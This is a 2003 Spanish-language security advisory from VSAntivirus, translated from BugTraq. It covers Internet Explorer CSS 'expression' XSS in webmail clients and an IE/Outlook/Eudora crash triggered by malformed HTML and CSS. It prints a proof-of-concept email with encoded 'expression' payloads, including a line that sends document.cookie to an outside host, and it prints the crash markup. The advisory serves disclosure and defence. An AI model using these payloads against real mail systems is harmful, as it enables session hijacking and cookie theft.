Esta página es un servicio gratuito de Video Soft BBS - SUBSCRIBASE en nuestras listas de correo.

Busque su tema:

VSantivirus  Internet
Proporcionado por FreeFind

Video Soft BBS
Menú Principal
Anti Trojans
Antivirus
Hoaxes
Subscripciones
Otro software
Artículos
Links
Sugerencias
Sobre el BBS
Direcciones
Galería
Chat

Controlado desde el
19/10/97 por NedStat

Cuelgue en IE y diversos programas de correo
 
VSantivirus No. 1184 Año 7, Sábado 4 de octubre de 2003

Cuelgue en IE y diversos programas de correo
http://www.vsantivirus.com/vul-stylesheets-mail.htm

Bugs: XSS y "Crash" en IE, Outlook, etc. mediante un mal filtrado de stylesheets

Publicado originalmente en Rynho Zeros Web
http://www.RZW.com.ar/


Según han publicado en la BugTraq, dos nuevos tipos de fallas o errores han sido descubiertas, las cuales afectan a MS Internet Explorer y ciertas aplicaciones de gestión de correo, como Outlook, Eudora, SquirrelMail, etc.

Primera falla

La primera falla se produce en el filtrado de los programas de correo. Solo basta con ver un mensaje en la vista previa.

Introducción:

Los sistemas de correo basados en el web, chequeados a través de Internet Explorer, pueden permitir la ejecución arbitraria de código malicioso como Javascript.

Descripción:

La edición descripta aquí, no revela una vulnerabilidad en un producto específico. Pero la combinación de características del Internet Explorer con las del software común del Webmail puede crear una vulnerabilidad.

1) Internet Explorer interpreta "stylesheets" para cualquier etiqueta HTML, cuando no existe una. Por ejemplo:

<xbody style="...">

no es una etiqueta válida, pero se evalúan los atributos.

Puede ser considerado como una falla o como comportamiento lógico, su magnitud puede variar. Y éste solo no es un defecto de seguridad.

2) Internet Explorer puede evaluar expresiones de Javascript en hojas de estilo con la palabra clave "expression":

<style type="text/css">
    a {
    width: expression(6 * 9 + 'px');
    }
</style>

Esto no es una falla tampoco. Esta es una extensión propietaria documentada.

3) Debido al aumento de emails solo HTML, la mayoría de los programas mas populares de Webmail pueden exhibir el HTML del email. En este contexto, el Javascript se debe quitar de cada email. Para realizar esta tarea, son utilizados varios trucos por las empresas de Webmail:

  • Quitado o reemplazado de las etiquetas <script>
  • Quitado o reemplazado de las URLs "javascript:"
  • Quitado o reemplazado de propiedades tipo "onmouseover"

Vulnerabilidad:

Combinando el punto (2) con el (3) y si el Webmail no filtra los "stylesheets" ni la palabra "expression", cualquier Javascript contenido en un mensaje será ejecutado tan pronto como el recipiente lo vea.

Cierto software del Webmail está enterado de esto y entonces son reemplazadas o filtradas cualquier aparición de "expression". Sin embargo, esto puede no trabajar cuando el nombre de la característica se filtra (como "expression") como lo permite el CSS. Lo anterior había sido realizado en Yahoo! (esto fue aplicado rápidamente después de ser divulgado).

Pero la mayoría del software no sabe simplemente sobre "expression". Ellos no son culpables, y esto no es un falla ni una vulnerabilidad. La "expression" es una extensión propietaria. Las empresas de Webmails no tienen que saber sobre las implicaciones posibles de cada extensión propietaria de las versiones de los navegadores.

Sin embargo, cuando se cumplen las siguientes condiciones, el Javascript es ejecutado:

  • Las palabras claves "expression" no son filtradas /reemplazadas por el software de Webmail.
  • El cliente es Internet Explorer.
  • Javascript no esta deshabilitado en el cliente. Desafortunadamente, la mayoría de los sistemas públicos del Webmail no trabajan cuando el Javascript esta deshabilitado.

Impacto:

Dependiendo del software del Webmail, el control completo de la sesión del cliente puede ser posible. El correo privado puede ser borrado o enviado a direcciones ajenas perteneciente a atacantes, las cookies y los identificadores de sesión pueden ser robados, etc.

Prueba

Los programas de Webmail suelen filtrar o reemplazar los "stylesheets". Ciertos programas quitan totalmente todo lo contenido en las etiquetas < head>... . Otros quitan las etiquetas < body>... </body > (que eliminan posiblemente la información de estilos de esta forma), en vez de convertirlas en algo como < div>... </div >.

Cierto software quita totalmente las definiciones < style>... </style > pero acepta el CSS inline. Esto es malo, porque anima a las personas a enviar código incompleto de HTML3 en vez de documentos bien formados, accesibles de XHTML.

El siguiente correo en HTML intenta agregar los workarounds para esta clase de filtros, para probar si la palabra clave "expression" es correctamente evaluada en Internet Explorer. Actualmente funciona por lo menos con IE 6 + SquirrelMail, Yahoo! y los programas de varios Webmails públicos y de ciertos ISPs.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="fr">
<head>
<title>Webmail test</title>
<meta http-equiv="Content-Type"
content="text/html;charset=ISO-8859-1" />
</head>
<body style="width:&#x65;xpression(alert(1))">
<style type="text/css">
    h1 {
    height:&#x65;xpression(alert(2));
    background-image:&#x65;
    xpression('url(http://example.org/'+document.cookie+$
    }
</style>
<h1 style="width:&#x65;xpression(alert(3))">...</h1>
<div id="just-for-fun"><a
href="&#x6A;avascript:window.open(document.location);"
    onmouseover="alert(4)">fireworks</a>
</div>
</body>
</html>

Solución

Para el usuario final, hay cuatro maneras de evitar esta ejecución:

  • No utilice Internet Explorer para chequear sus Webmails.

Y/O

  • Deshabilite Javascript.

Y/O

  • Configure el Webmail para mostrar solamente correos en texto plano.

Y/O

  • Deshabilite la vista previa en sus programas de correo.

Y/O

  • Conéctese solamente con su Webmail cuando este 100% seguro que los programas de Webmail han activado totalmente los filtros o reemplazado de la palabra "expression" y este atento ante una versión de dicho programa.

Segunda falla

La segunda falla, afecta a todos estos productos y al igual que la anterior es por una mal filtrado, pero ésta también permita la ejecución de código.

La otra falla fue descubierta por Nick Johnson, mientras diseñaba una página y se dio cuenta al equivocarse en una combinación de HTML y CSS, que esto causaba que Internet Explorer (IE 6.0.2600.0000 en W2k v5.00.2195 y IE 6.0.3790 en 2k3 Server v5.2.3790) se cerrara mostrando una pantalla de error. Después de un poco de trabajo obtuvo el siguiente código necesario para lograr esto:

<html>
<body>
<style type="text/css">
    #three {
    position: absolute;
    }
    #one #two {
    position: absolute;
    }
</style>
<div id="one">
    In 'one'
<span id="two">
    In 'two'
</div>
<div id="three">
    In 'three'
</div>
</body>

Un poco de experimentación revelo lo siguiente:

La etiqueta con el id "one" puede ser cualquier etiqueta como lo es 'display: block' por defecto.

La etiqueta con el id "two" puede ser cualquier etiqueta como lo es 'display: inline' por defecto.

La etiqueta con el id "three" puede estar en cualquier etiqueta, incluyendo etiquetas no contenedoras como <img>.

La etiqueta con la identificación "two" debe dejarse abierta. El selector debe ser "#one #two", seleccionando simplemente #two no funciona.

En Windows 2000, también se cierra el explorer cuando hacemos clic sobre el archivo (debido a la vista previa).

Una breve mirada en una depuración en el caso del cierre del IE revela que la dirección en que se produce el cerrado es una instrucción de retorno (RET). Bueno, dejamos eso para los más talentosos para definir cuando ocurre y porqué.

Este tipo de error también afecta al cliente Eudora en su versión 6.0.0.22.

Versiones Afectadas:

  • Microsoft Internet Explorer 5.0 W9x/NT/2000/2003/XP
  • Microsoft Internet Explorer 5.5 W9x/NT/2000/2003/XP
  • Microsoft Internet Explorer 6.0.2600 W9x/NT/2000/2003/XP
  • Microsoft Internet Explorer 6.0.2800.1106 W9x/NT/2000/2003/XP
  • Microsoft Internet Explorer 6.0.2800.1106.xpsp2.030422-1633 W9x/NT/2000/2003/XP
  • Microsoft Internet Explorer 6.0.3790 W9x/NT/2000/2003/XP
  • Microsoft Outlook 10.3513.3501 SP1 y otros W9x/NT/2000/2003/XP
  • Eudora 6.0.0.22 W9x/NT/2000/2003/XP
  • SquirrelMail 1.4.0 no lo filtra, mientras que la versión 1.4.2 si lo hace. Su actualización no es mala idea. ;)

También son afectadas otras versiones, las cuáles no han sido confirmadas.

Artículos Relacionados:

SecurityFocus BugTraq -
Webmails + Internet Explorer can create unwanted javascript execution:
http://www.securityfocus.com/archive/1/340118

SecurityFocus BugTraq - New IE crash: CSS + HTML
http://www.securityfocus.com/archive/1/340130


Traducción: Martin Aberastegue (XyborG)
Sitio: http://www.rzw.com.ar



Noticia publicada originalmente en
http://www.rzw.com.ar/article870.html




(c) Video Soft - http://www.videosoft.net.uy
(c) VSAntivirus - http://www.vsantivirus.com

 

Copyright 1996-2003 Video Soft BBS